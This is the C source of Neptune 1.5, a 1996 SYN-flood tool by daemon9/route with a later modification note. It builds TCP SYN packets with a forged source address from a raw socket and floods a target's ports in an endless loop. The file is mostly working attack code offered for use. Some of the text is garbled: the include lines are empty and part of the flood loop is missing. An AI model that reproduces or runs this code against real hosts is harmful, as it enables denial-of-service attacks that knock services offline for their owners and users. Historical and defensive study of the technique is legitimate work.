/* * Modified by Dan Forsberg at 3.1998. Made it a bit simpler and * easier to use. // Dan.Forsberg@iki.fi * * Mainly removed the menu system and authoritive user configuration file. * */ /* Neptune v. 1.5. daemon9/route/infinity June 1996 Guild productions comments to daemon9@netcom.com If you found this code alone, without the companion whitepaper please get the real-deal: ftp.infonexus.com/pub/SourceAndShell/Guild/Route/Projects/Neptune/neptune.tgz Brief synopsis: Floods the target host with TCP segments with the SYN bit on, puportedly from an unreachable host. The return address in the IP header is forged to be that of a known unreachable host. The attacked TCP, if flooded sufficently, will be unable to respond to futher connects. See the accompanying whitepaper for a full treatment of the topic. (Also see my paper on IP-spoofing for information on a related subject.) USAGE: neptune -s unreachable_host -t target_host -p port [-8 (infinity switch)] -a amount_of_SYNs Gripes: It would appear that flooding a host on every port (with the infinity switch) has it's drawbacks. So many packets are trying to make their way to the target host, it seems as though many are dropped, especially on ethernets. Across the Internet, though, the problem appears mostly mitigated. The call to usleep appears to fix this... Coming up is a port scanning option that will find open ports... Version History: 6/17/96 beta1: SYN flooding, Cmd line and crude menu, ICMP stuff broken 6/20/96 beta2: Better menu, improved SYN flooding, ICMP fixed... sorta 6/21/96 beta3: Better menu still, fixed SYN flood clogging problem Fixed some name-lookup problems 6/22/96 beta4: Some loop optimization, ICMP socket stuff changed, ICMP code fixed 6/23/96 1.0: First real version... 6/25/96 1.1: Cleaned up some stuff, added authentication hooks, fixed up input routine stuff 7/01/96 1.5: Added daemonizing routine... This coding project made possible by a grant from the Guild corporation */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define BUFLEN 256 #define MENUBUF 64 #define MAXPORT 1024 #define MAXPAK 4096 #define MENUSLEEP 700000 #define FLOODSLEEP 100 /* Ethernet, or WAN? Yur mileage will vary.*/ #define ICMPSLEEP 100 int HANDLERCODE=1; int KEEPQUIET=0; void main(argc,argv) int argc; char *argv[]; { void usage(char *); void menu(int,char *); void flood(int,unsigned,unsigned,u_short,int); unsigned nameResolve(char *); int authenticate(int,char *); unsigned unreachable,target; int c,port,amount,sock1,fd; struct passwd *passEnt; char t[20],u[20]; /* Open up a RAW socket */ if((sock1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("\nHmmm.... socket problems\n"); exit(1); } if(argc==1){ usage(argv[0]); exit(0); } /* Parse command-line arguments */ while((c=getopt(argc,argv,"8:s:t:p:a:"))>=0) { switch(c){ case 's': /* Source (spoofed) host */ unreachable=nameResolve(optarg); strncpy(u,optarg,20); break; case 't': /* Target host */ target=nameResolve(optarg); strncpy(t,optarg,20); break; case 'p': /* Target port */ port=atoi(optarg); break; case '8': /* infinity switch */ port=0; break; case 'a': /* Amount of SYNs to send */ amount=atoi(optarg); /* fprintf(stderr,"amount:%d\n",amount); */ break; default: /* WTF? */ usage(argv[0]); } } if(!port){ printf("\n\n Flooding target: \t\t%u\n On ports\t\t\t1-%d\n Amount: \t\t\t%u\n Puportedly from: \t\t%u\n",target,MAXPORT,amount,unreachable); flood(sock1,unreachable,target,0,amount); } else{ printf("\n\n Flooding target: \t\t%u\n On port: \t\t\t%u\n Amount: \t\t\t%u\n Puportedly from: \t\t%u \n",target,port,amount,unreachable); flood(sock1,unreachable,target,port,amount); } exit(0); } /* Flood. This is main workhorse of the program. * IP and TCP header * construction occurs here, as does flooding. */ void flood(int sock,unsigned sadd,unsigned dadd,u_short dport,int amount) { unsigned short in_cksum(unsigned short *,int); struct packet{ struct iphdr ip; struct tcphdr tcp; } packet; struct pseudo_header{ /* For TCP header checksum */ unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; } pseudo_header; struct sockaddr_in sin; /* IP address information */ register int i=0,j=0; /* Counters */ int tsunami=0; /* flag */ unsigned short sport=161+getpid(); if(!dport){ tsunami++; /* GOD save them... */ fprintf(stderr,"\nTSUNAMI!\n"); fprintf(stderr,"\nflooding port:"); } /* Setup the sin struct with addressing information */ sin.sin_family=AF_INET; /* Internet address family */ sin.sin_port=sport; /* Source port */ sin.sin_addr.s_addr=dadd; /* Dest. address */ /* Packet assembly begins here */ /* Fill in all the TCP header information */ packet.tcp.source=sport; /* 16-bit Source port number */ packet.tcp.dest=htons(dport); /* 16-bit Destination port */ packet.tcp.seq=49358353+getpid(); /* 32-bit Sequence Number */ packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */ packet.tcp.doff=5; /* Data offset */ packet.tcp.res1=0; /* reserved */ packet.tcp.res2=0; /* reserved */ packet.tcp.urg=0; /* Urgent offset valid flag */ packet.tcp.ack=0; /* Acknowledgement field valid flag */ packet.tcp.psh=0; /* Push flag */ packet.tcp.rst=0; /* Reset flag */ packet.tcp.syn=1; /* Synchronize sequence numbers flag */ packet.tcp.fin=0; /* Finish sending flag */ packet.tcp.window=htons(242); /* 16-bit Window size */ packet.tcp.check=0; /* 16-bit checksum (to be filled in below) */ packet.tcp.urg_ptr=0; /* 16-bit urgent offset */ /* Fill in all the IP header information */ packet.ip.version=4; /* 4-bit Version */ packet.ip.ihl=5; /* 4-bit Header Length */ packet.ip.tos=0; /* 8-bit Type of service */ packet.ip.tot_len=htons(40); /* 16-bit Total length */ packet.ip.id=getpid(); /* 16-bit ID field */ packet.ip.frag_off=0; /* 13-bit Fragment offset */ packet.ip.ttl=255; /* 8-bit Time To Live */ packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */ packet.ip.check=0; /* 16-bit Header checksum (filled in below) */ packet.ip.saddr=sadd; /* 32-bit Source Address */ packet.ip.daddr=dadd; /* 32-bit Destination Address */ /* Psuedo-headers needed for TCP hdr checksum (they do not change and do not need to be in the loop) */ pseudo_header.source_address=packet.ip.saddr; pseudo_header.dest_address=packet.ip.daddr; pseudo_header.placeholder=0; pseudo_header.protocol=IPPROTO_TCP; pseudo_header.tcp_length=htons(20); while(1){ /* Main loop */ if(tsunami){ if(j==MAXPORT) { j=0; /* tsunami=0; break; */ } packet.tcp.dest=htons(++j); fprintf(stderr,"%d",j); fprintf(stderr,"%c",0x08); if(j>=10)fprintf(stderr,"%c",0x08); if(j>=100)fprintf(stderr,"%c",0x08); if(j>=1000)fprintf(stderr,"%c",0x08); if(j>=10000)fprintf(stderr,"%c",0x08); } for(i=0;i 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } /* Converts IP addresses */ unsigned nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname))==-1){ if(!(hostEnt=gethostbyname(hostname))){ fprintf(stderr,"Name lookup failure:`%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } /* SIGALRM signal handler. Souper simple. */ int alarmHandler(){ HANDLERCODE=0; /* shame on me for using global vars */ alarm(0); signal(SIGALRM,SIG_DFL); return(0); } /* Usage function... */ void usage(nomenclature) char *nomenclature; { fprintf(stderr,"\nUSAGE: %s \ \n\t -s unreachable_host\ \n\t -t target_host\ \n\t -p port [0 all ports] \ \n\t -a amount_of_SYNs\ \n\n",nomenclature); exit(0); }